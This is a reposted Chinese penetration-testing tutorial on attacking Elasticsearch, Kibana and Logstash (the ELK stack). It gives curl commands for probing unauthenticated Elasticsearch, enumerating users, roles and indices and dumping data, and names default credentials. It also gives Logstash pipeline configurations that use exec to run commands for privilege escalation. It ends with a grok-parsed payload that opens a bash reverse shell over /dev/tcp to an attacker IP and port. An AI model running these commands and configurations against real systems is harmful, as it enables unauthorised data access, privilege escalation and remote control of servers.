搜索

[27229] 2021-04-14_ELK在渗透测试中的利用与安全配置解析

文档创建者：s7ckTeam
浏览次数：111
最后更新：2025-01-19
2021-04-14_ELK在渗透测试中的利用与安全配置解析 E L K 在 渗 透 测 试 中 的 利 用 与 安 全 配 置 解 析 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 1 4 收 录 于 话 题   # 奇 技 淫 巧   , 4 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   公 众 号 读 者 投 稿 公 众 号 读 者 投 稿 本 文 作 者 ： V a s t S k y （ M s 0 8 0 6 7 实 验 室 读 者 ）     通 过 此 文 章 ， 我 将 提 供 有 关 E L K 攻 击 利 用 与 安 全 防 护 的 知 识 。 关 于 利 用 E L K   的 信 息 在 网 上 非 常 罕 见 。 因 此 ， 这 篇 文 章 只 是 本 人 在 日 常 工 作 和 学 习 中 的 个 人 笔 记 ， 虽 不 完 善 ， 但 可 作 为 学 习 参 考 。 通 过 这 篇 文 章 希 望 能 为 你 提 供 一 些 在 渗 透 测 试 期 间 可 能 有 用 的 方 法 。 背 景 背 景   E L K 描 述 了 一 个 包 含 三 个 开 源 项 目 的 集 合 ： E l a s t i c s e a r c h ， L o g s t a s h 和 K i b a n a 。 E l a s t i c s e a r c h 存 储 数 据 并 提 供 快 速 搜 索 引 擎 。 K i b a n a 是 一 个 图 形 界 面 ， 允 许 对 E l a s t i c s e a r c h 中 存 储 的 数 据 进 行 分 析 和 可 视 化 。 L o g s t a s h 用 于 收 集 从 不 同 来 源 的 数 据 并 将 其 保 存 到 E l a s t i c s e a r c h 中 。 重 要 配 置 文 件 重 要 配 置 文 件 E l a s t i c s e a r c h 配 置 ： / e t c / e l a s t i c s e a r c h / e l a s t i c s e a r c h . y m l L o g s t a s h 配 置 ： / e t c / l o g s t a s h / l o g s t a s h . y m l / e t c / l o g s t a s h / p i p e l i n e s . y m l / e t c / l o g s t a s h / c o n f . d / * F i l e b e a t 配 置 ： / e t c / f i l e b e a t / f i l e b e a t . y m l K i b a n a 配 置 ： / e t c / k i b a n a / k i b a n a . y m l 在 渗 透 测 试 中 配 置 文 件 中 总 是 有 可 能 包 含 用 户 凭 证 ， 所 以 总 是 值 得 一 看 的 。 E l a s t i c s e a r c h 未 授 权 访 问 的 检 测 与 利 用 未 授 权 访 问 的 检 测 与 利 用     E l a s t i c S e a r c h   是 一 款 J a v a 编 写 的 企 业 级 搜 索 服 务 ， 启 动 此 服 务 默 认 会 开 放 9 2 0 0 端 口 ， 可 被 非 法 操 作 数 据 。   检 测 是 否 存 在 未 授 权 访 问 检 测 是 否 存 在 未 授 权 访 问 默 认 情 况 下 ， 并 不 总 是 启 用 身 份 验 证 。 可 以 访 问 所 有 存 储 的 数 据 H T T P 协 议 访 问 默 认 端 口 端 口   9 2 0 0 返 回 内 容 中 包 含 ” Y o u   K n o w ,   f o r   S e a r c h ” 存 在 未 授 权 访 问 。 如 果 9 2 0 0 无 法 访 问 ， 说 明 开 发 者 已 经 将 默 认 端 口 更 改 通 过 访 问 我 们 得 到 数 据 库 版 本 ： 如 果 可 以 访 问 上 述 信 息 ， 可 能 是 禁 用 身 份 验 证 。 我 们 可 以 继 续 验 证 是 否 禁 用 了 身 份 验 证 ： 如 果 看 到 以 上 信 息 ， 在 这 种 情 况 下 ， 身 份 验 证 是 被 禁 用 ， 我 们 可 以 访 问 所 有 数 据 。 如 果 收 到 以 下 响 应 ， 则 启 用 了 身 份 验 证 ： 在 这 启 用 身 份 验 证 的 情 况 下 ， 可 以 暴 力 破 解 内 置 用 户 ， 默 认 的 一 些 内 置 用 户 有 ： c u r l   - X   G E T " l o c a l h o s t : 9 2 0 0 / " {     " n a m e "   :   " u s e r v e r " ,     " c l u s t e r _ n a m e "   : " e l a s t i c s e a r c h " ,     " c l u s t e r _ u u i d "   :   " l Z N H 1 5 o k Q P W f N H p - A k s 0 O Q " ,     " v e r s i o n "   :   {         " n u m b e r "   :   " 7 . 9 . 3 " ,         " b u i l d _ f l a v o r "   : " d e f a u l t " ,         " b u i l d _ t y p e "   :   " d e b " ,         " b u i l d _ h a s h "   : " c 4 1 3 8 e 5 1 1 2 1 e f 0 6 a 6 4 0 4 8 6 6 c d d c 6 0 1 9 0 6 f e 5 c 8 6 8 " ,         " b u i l d _ d a t e "   :   " 2 0 2 1 - 0 3 - 2 6 T 1 0 : 3 6 : 1 6 . 1 4 1 3 3 5 Z " ,         " b u i l d _ s n a p s h o t "   :   f a l s e ,         " l u c e n e _ v e r s i o n "   : " 8 . 6 . 2 " ,       " m i n i m u m _ w i r e _ c o m p a t i b i l i t y _ v e r s i o n "   :   " 6 . 8 . 0 " ,       " m i n i m u m _ i n d e x _ c o m p a t i b i l i t y _ v e r s i o n "   : " 6 . 0 . 0 - b e t a 1 "     } ,     " t a g l i n e "   :   " Y o u   K n o w ,   f o r   S e a r c h " } c u r l   - X   G E T   " l o c a l h o s t : 9 2 0 0 / _ x p a c k / s e c u r i t y / u s e r " { " e r r o r " : { " r o o t _ c a u s e " : [ { " t y p e " : " e x c e p t i o n " , " r e a s o n " : " S e c u r i t y m u s t   b e   e x p l i c i t l y   e n a b l e d   w h e n   u s i n g   a   [ b a s i c ]   l i c e n s e .   E n a b l e   s e c u r i t y   b y s e t t i n g   [ x p a c k . s e c u r i t y . e n a b l e d ]   t o   [ t r u e ]   i n   t h e   e l a s t i c s e a r c h . y m l   f i l e   a n d r e s t a r t   t h e n o d e . " } ] , " t y p e " : " e x c e p t i o n " , " r e a s o n " : " S e c u r i t y m u s t   b e   e x p l i c i t l y   e n a b l e d   w h e n   u s i n g   a   [ b a s i c ]   l i c e n s e .   E n a b l e   s e c u r i t y   b y s e t t i n g   [ x p a c k . s e c u r i t y . e n a b l e d ]   t o   [ t r u e ]   i n   t h e   e l a s t i c s e a r c h . y m l   f i l e   a n d r e s t a r t   t h e   n o d e . " } , " s t a t u s " : 5 0 0 } { " e r r o r " : { " r o o t _ c a u s e " : [ { " t y p e " : " s e c u r i t y _ e x c e p t i o n " , " r e a s o n " : " m i s s i n g a u t h e n t i c a t i o n   c r e d e n t i a l s   f o r   R E S T   r e q u e s t [ / ] " , " h e a d e r " : { " W W W - A u t h e n t i c a t e " : " B a s i c r e a l m = " s e c u r i t y " c h a r s e t = " U T F - 8 " " } } ] , " t y p e " : " s e c u r i t y _ e x c e p t i o n " , " r e a s o n " : " m i s s i n g a u t h e n t i c a t i o n   c r e d e n t i a l s   f o r   R E S T   r e q u e s t [ / ] " , " h e a d e r " : { " W W W - A u t h e n t i c a t e " : " B a s i c r e a l m = " s e c u r i t y "   c h a r s e t = " U T F - 8 " " } } , " s t a t u s " : 4 0 1 }
e l a s t i c （ 这 是 超 级 用 户 ！ E l a s t i c s e a r c h 的 旧 版 本 具 有 该 用 户 的 默 认 密 码 c h a n g e m e ） l o g s t a s h _ s y s t e m k i b a n a _ s y s t e m a p m _ s y s t e m b e a t s _ s y s t e m r e m o t e _ m o n i t o r i n g _ u s e r 如 果 在 启 用 身 份 验 证 的 情 况 下 仍 能 够 接 收 版 本 信 息 ， 也 可 以 进 行 匿 名 访 问 。 匿 名 用 户 名 可 能 是 _ a n o n y m o u s 。 使 用 A P I 密 钥 ：       获 取 有 关 用 户 权 限 的 更 多 信 息 ： 列 出 系 统 上 的 所 有 用 户 ： 列 出 系 统 上 的 所 有 角 色 ： E S 数 据 库 一 些 在 渗 透 测 试 中 可 以 利 用 的 数 据 库 一 些 在 渗 透 测 试 中 可 以 利 用 的 U R L 访 问 数 据 查 询 访 问 数 据 查 询 K i b a n a     K i b a n a 为 在 E l a s t i c s e a r c h 中 建 立 索 引 的 数 据 提 供 搜 索 和 数 据 可 视 化 功 能 。 该 服 务 默 认 在 端 口 5 6 0 1 上 运 行 。     E l a s t i c s e a r c h 中 的 用 户 权 限 与 K i b a n a 中 的 相 同 。 如 果 在 E l a s t i c s e a r c h 中 禁 用 了 身 份 验 证 ， 则 也 应 该 不 使 用 凭 据 访 问 K i b a n a 。 并 且 可 以 在 配 置 文 件 / e t c / k i b a n a / k i b a n a . y m l 中 找 到 凭 证 L o g s t a s h 渗 透 测 试 和 安 全 配 置 渗 透 测 试 和 安 全 配 置     L o g s t a s h 是 E L K 堆 栈 的 最 后 一 项 服 务 ， 用 于 收 集 ， 转 换 和 输 出 日 志 。 这 是 通 过 使 用 包 含 输 入 ， 过 滤 器 和 输 出 模 块 的 管 道 来 实 现 的 p i p e l i n e   配 置 文 件 / e t c / l o g s t a s h / p i p e l i n e s . y m l 指 定 使 用 的 p i p e l i n e 位 置 ： 你 可 以 找 到 目 前 所 使 用 的 . c o n f 文 件 的 路 径 。 权 限 提 升 的 使 用 权 限 提 升 的 使 用     在 尝 试 提 升 自 己 的 特 权 之 前 ， 应 检 查 哪 个 用 户 正 在 运 行 l o g s t a s h 服 务 ， 默 认 情 况 下 ， l o g s t a s h 服 务 以 l o g s t a s h 用 户 的 权 限 运 行 。 通 过 l o g s t a s h 权 限 提 升 需 要 满 足 以 下 条 件 ： 对 . c o n f 文 件 具 有 写 权 限 ， 或 者 对 / e t c / l o g s t a s h / p i p e l i n e s . y m l 配 置 文 件 可 以 写 可 以 重 新 启 动 l o g s t a s h 服 务 或 / e t c / l o g s t a s h / l o g s t a s h . y m l 包 含 配 置 c o n f i g . r e l o a d . a u t o m a t i c ： t r u e   可 以 将 以 下 内 容 写 入 文 件 以 执 行 命 令 ： 如 果 / e t c / l o g s t a s h / l o g s t a s h . y m l 中 配 置 了 c o n f i g . r e l o a d . a u t o m a t i c ： t r u e ， 则 只 需 等 待 命 令 执 行 ， 因 为 L o g s t a s h 会 自 动 识 别 新 的 配 置 文 件 或 现 有 配 置 中 的 任 何 更 改 。 否 则 需 要 重 启 l o g s t a s h 服 务 。 L o g s t a s h   提 权 二 提 权 二 c u r l   - H   " A u t h o r i z a t i o n : A p i K e y "   l o c a l h o s t : 9 2 0 0 / c u r l   - X   G E T " l o c a l h o s t : 9 2 0 0 / _ s e c u r i t y / u s e r / < U S E R N A M E > " c u r l   - X   G E T " l o c a l h o s t : 9 2 0 0 / _ s e c u r i t y / u s e r " c u r l   - X   G E T " l o c a l h o s t : 9 2 0 0 / _ s e c u r i t y / r o l e c u r l   ' l o c a l h o s t : 9 2 0 0 / _ c a t / i n d i c e s ? v '     # 列 出 所 有 索 引 c u r l   ' l o c a l h o s t : 9 2 0 0 / _ p l u g i n / h e a d / '     #   E S 的 h e a d 插 件 ， 可 以 对 e s 数 据 库 进 行 各 种 设 置 和 数 据 检 索 功 能 的 管 理 插 件 c u r l   ' l o c a l h o s t : 9 2 0 0 / _ c a t / n o d e s ? v '       #   可 以 获 取 集 群 的 节 点 列 表 c u r l   ' l o c a l h o s t : 9 2 0 0 / _ n o d e s ? p r e t t i f y '     #   节 点 设 置 c u r l   ' l o c a l h o s t : 9 2 0 0 / _ s t a t u s '         #   查 看 状 态 c u r l   ' l o c a l h o s t : 9 2 0 0 / _ s e a r c h ? p r e t t y '     #   查 询 所 有 索 引   默 认 前 1 0 条 c u r l   ' l o c a l h o s t : 9 2 0 0 / z j f t u / _ s e a r c h ? p r e t t y '   #   查 询 某 一 个 索 引 #   T h i s   f i l e   i s   w h e r e   y o u   d e f i n e   y o u r p i p e l i n e s .   Y o u   c a n   d e f i n e   m u l t i p l e . #   F o r   m o r e   i n f o r m a t i o n   o n   m u l t i p l e p i p e l i n e s ,   s e e   t h e   d o c u m e n t a t i o n : #   h t t p s : / / w w w . e l a s t i c . c o / g u i d e / e n / l o g s t a s h / c u r r e n t / m u l t i p l e - p i p e l i n e s . h t m l   -   p i p e l i n e . i d :   m a i n   p a t h . c o n f i g :   " / e t c / l o g s t a s h / c o n f . d / * . c o n f " -   p i p e l i n e . i d :   e x a m p l e   p a t h . c o n f i g :   " / u s r / s h a r e / l o g s t a s h / p i p e l i n e / 1 * . c o n f "   p i p e l i n e . w o r k e r s :   6 i n p u t   {   e x e c   {       c o m m a n d   = >   " w h o a m i "       i n t e r v a l   = >   1 2 0   } }   o u t p u t   {   f i l e   {       p a t h   = >   " / t m p / o u t p u t . l o g "       c o d e c   = >   r u b y d e b u g   } }
    L o g s t a s h 的 c o n f . d 配 置 目 录 通 常 由 三 个 文 件 组 成 （ i n p u t 、 f i l t e r 、 o u t p u t ） 。 在 o u t p u t . c o n f 中 执 行 命 令 。 如 果 你 具 有 l o g s t a s h 的 基 本 知 识 ， 则 应 该 了 解 这 三 个 文 件 的 功 能 。 i n p u t . c o n f 用 于 配 置 数 据 源 。 f i l t e r . c o n f 用 于 处 理 数 据 ， 通 常 与 g r o k 结 合 使 用 。 o u t p u t . c o n f 用 于 输 出 处 理 后 的 数 据 。 我 们 可 以 发 现 在 o u t p u t . c o n f 中 的 e x e c     这 个 利 用 非 常 明 显 。 创 建 一 个 / o p t / k i b a n a / 名 称 以 开 头 的 文 件 l o g s t a h _ 。 并 确 保 g r o k 可 以 正 确 解 析 文 件 中 的 内 容 。 然 后 ， 命 令 可 以 成 功 执 行 。 最 重 要 的 部 分 是 如 何 创 建 要 解 析 的 c o m a n d o 内 容 。 因 此 ， 需 要 知 道 如 何 使 用 g r o k 通 过 正 则 表 达 式 识 别 特 定 字 段 。   g r o k   语 法 ： % { S Y N T A X : S E M A N T I C }   即   % { 正 则 : 自 定 义 字 段 名 } 官 方 提 供 了 很 多 正 则 : h t t p s : / / g i t h u b . c o m / l o g s t a s h - p l u g i n s / l o g s t a s h - p a t t e r n s - c o r e / b l o b / m a s t e r / p a t t e r n s   g r o k   d e b u g 工 具 ： h t t p : / / g r o k d e b u g . h e r o k u a p p . c o m 表 达 是 很 简 单 的 。 如 果 你 知 道 正 则 表 达 式 ， 那 么 这 里 的 表 达 式 将 很 容 易 理 解 。 修 改 配 置 文 件 如 下 f i l t e r . c o n f i n p u t . c o n f o u t p u t . c o n f 接 下 来 创 建 好 可 以 解 析 的 文 件 了 ， 并 把 我 我 们 要 执 行 的 命 令 放 进 入 。 反 向 s h e l l 命 令 我 们 直 接 用 b a s h 。 所 以 我 使 用 b a s h   - i   > & / d e v / t c p / 1 0 . 1 0 . 1 6 . 6 5 / 1 2 3 4   0 > & 1 。 将 内 容 写 入 相 应 的 文 件 ： 使 用 n c 监 听 端 口 1 2 3 4 ， 稍 等 片 刻 ， 就 会 得 到 反 向 s h e l l 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 f i l t e r   {                 i f   [ t y p e ]   = =   " e x e c u t e "   {                                 g r o k   {                                                 m a t c h   = >   { " m e s s a g e "   = > " E j e c u t a r s * c o m a n d o s * : s + % { G R E E D Y D A T A : c o m a n d o } "   }                                 }                 } } i n p u t   {                 f i l e   {                                 p a t h   = > " / o p t / k i b a n a / l o g s t a s h _ * "                                 s t a r t _ p o s i t i o n   = > " b e g i n n i n g "                                 s i n c e d b _ p a t h   = > " / d e v / n u l l "                                 s t a t _ i n t e r v a l   = >   " 1 0 s e c o n d "                                 t y p e   = >   " e x e c u t e "                                 m o d e   = >   " r e a d "                 } } o u t p u t   {                 i f   [ t y p e ]   = =   " e x e c u t e "   {                                 s t d o u t   {   c o d e c   = >   j s o n   }                                 e x e c   {                                                 c o m m a n d   = > " % { c o m a n d o }   & "                                 }                 } } e c h o " E j e c u t a r     c o m a n d o :   b a s h   - i > &   / d e v / t c p / 1 0 . 1 0 . 1 6 . 6 5 / 1 2 3 4   0 > & 1 "   > / o p t / k i b a n a / l o g s t a s h _ 1 . t x t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理